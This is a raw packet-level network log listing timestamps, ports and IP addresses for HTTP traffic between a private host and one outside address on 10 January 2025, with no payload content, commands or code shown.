Jan 10, 2025 23:53:59.293893099 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.293904066 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.293942928 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.293956995 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.293962955 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.294007063 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.294651031 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.294699907 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.294753075 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.294787884 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.294800997 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.294836998 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.294868946 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.294900894 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.294915915 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.295332909 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.295542955 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.295610905 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.295645952 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.295677900 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.295711040 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.295743942 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.295787096 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.295964003 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.296391010 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.296572924 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.296623945 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.296629906 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.296660900 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.296693087 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.296725988 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.296760082 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.296772957 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.296772957 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.297337055 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.297374010 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.297413111 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.297641039 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.297674894 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.297709942 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.297743082 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.297753096 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.297753096 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.297777891 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.297826052 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.297864914 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.297884941 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.297977924 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.298484087 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.298521042 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.298556089 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.298568010 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.298597097 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.298636913 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.298697948 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.299086094 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.299097061 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.299130917 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.299175024 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.299175024 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.300726891 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.309020042 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.309082031 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.309118032 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.309134007 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.309161901 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.309199095 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.309214115 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.330343008 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.338521957 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.343024015 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.343049049 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.343066931 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.343076944 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.343389988 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.345321894 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.376844883 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.376867056 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.376894951 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.376909971 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.376926899 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.376941919 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.376957893 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.376957893 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.376957893 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.377001047 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.377017975 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.377060890 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.377060890 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.377129078 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.377146006 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.377171993 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.377187014 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.377203941 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.377218962 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.377218962 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.377309084 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.377321959 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.377327919 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.377345085 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.377384901 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.410949945 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.410974026 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.410995007 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.411048889 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.411048889 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.411072969 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.411128044 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.411144018 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.411160946 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.411206007 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.411206007 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.411849976 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.411878109 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.411894083 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.411909103 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.411926031 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.411931992 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.411942959 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.411969900 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.411982059 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.411997080 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412002087 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.412013054 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412029028 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412045956 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412061930 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412076950 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412079096 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.412079096 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.412092924 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412110090 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.412111044 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412128925 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412144899 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412156105 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.412174940 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412182093 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412205935 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412214041 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.412226915 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.412231922 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412256956 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412262917 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.412273884 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412287951 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412302971 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412317038 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412332058 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.412332058 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.412336111 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412343025 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412358999 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412373066 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412377119 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.412377119 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.412393093 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412408113 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412422895 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412440062 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412441969 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.412441969 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.412456036 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412481070 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412497044 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412512064 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412527084 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412534952 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.412534952 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.412543058 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.412570000 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.412596941 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.412977934 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.413001060 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.413017035 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.413031101 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.413049936 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.413064003 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.413077116 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.413077116 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.413081884 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.413099051 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.413130045 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.413140059 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.413145065 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.413156986 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.413172960 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.413199902 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.413207054 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.413208008 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.413208961 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.413268089 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.413284063 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.413284063 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.413301945 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.413317919 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.413331985 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.413347006 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.413362026 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.413362026 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.413362026 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.413377047 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.413409948 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.413409948 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.413767099 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.415909052 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.415926933 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.415942907 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.416027069 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.416047096 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.416063070 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.416079044 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.416094065 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.416098118 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.416110039 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.416134119 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.416157007 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.416163921 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.416163921 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.416172981 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.416188002 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.416202068 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.416217089 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.416233063 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.416233063 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.416233063 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.416253090 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.416277885 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.416292906 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.416292906 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.416292906 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.416311026 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.416327000 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.416342974 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.416356087 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.416361094 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.416392088 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.416392088 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.435453892 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.463819027 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.463845015 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.463866949 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.463901043 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.463916063 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.463926077 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.463934898 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.463944912 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.463980913 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.463996887 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.464013100 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.464027882 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.464029074 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.464029074 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.464057922 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.464062929 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.464073896 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.464090109 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.464116096 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.464131117 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.464143038 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.464143038 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.464143991 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.464167118 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.464183092 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.464196920 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.464210033 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.464210033 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.464212894 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.464359045 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.464728117 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.497844934 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.497874022 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.497889996 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.497898102 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.497925997 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.497936964 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.497936964 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.497940063 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.497957945 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.497972012 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.497987986 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.497997999 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.497997999 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.498001099 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498059988 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498074055 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498089075 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498090982 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.498091936 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.498104095 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498122931 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498131037 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.498181105 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498222113 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498235941 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498250008 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498259068 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.498259068 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.498439074 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498440981 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.498454094 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498478889 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498492002 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498500109 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498507977 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498507977 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.498516083 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498522997 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498547077 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498553991 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498563051 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498575926 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498589993 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498615026 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498615980 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.498615980 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.498629093 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498644114 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498658895 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498682022 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.498682022 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.498703957 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498718977 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498738050 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498760939 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498773098 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.498773098 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.498774052 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498800993 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498815060 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498819113 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.498831034 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498846054 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498858929 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498861074 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.498872995 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498895884 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498909950 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498914003 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.498914003 CET	49712	80	192.168.2.10	193.143.1.205
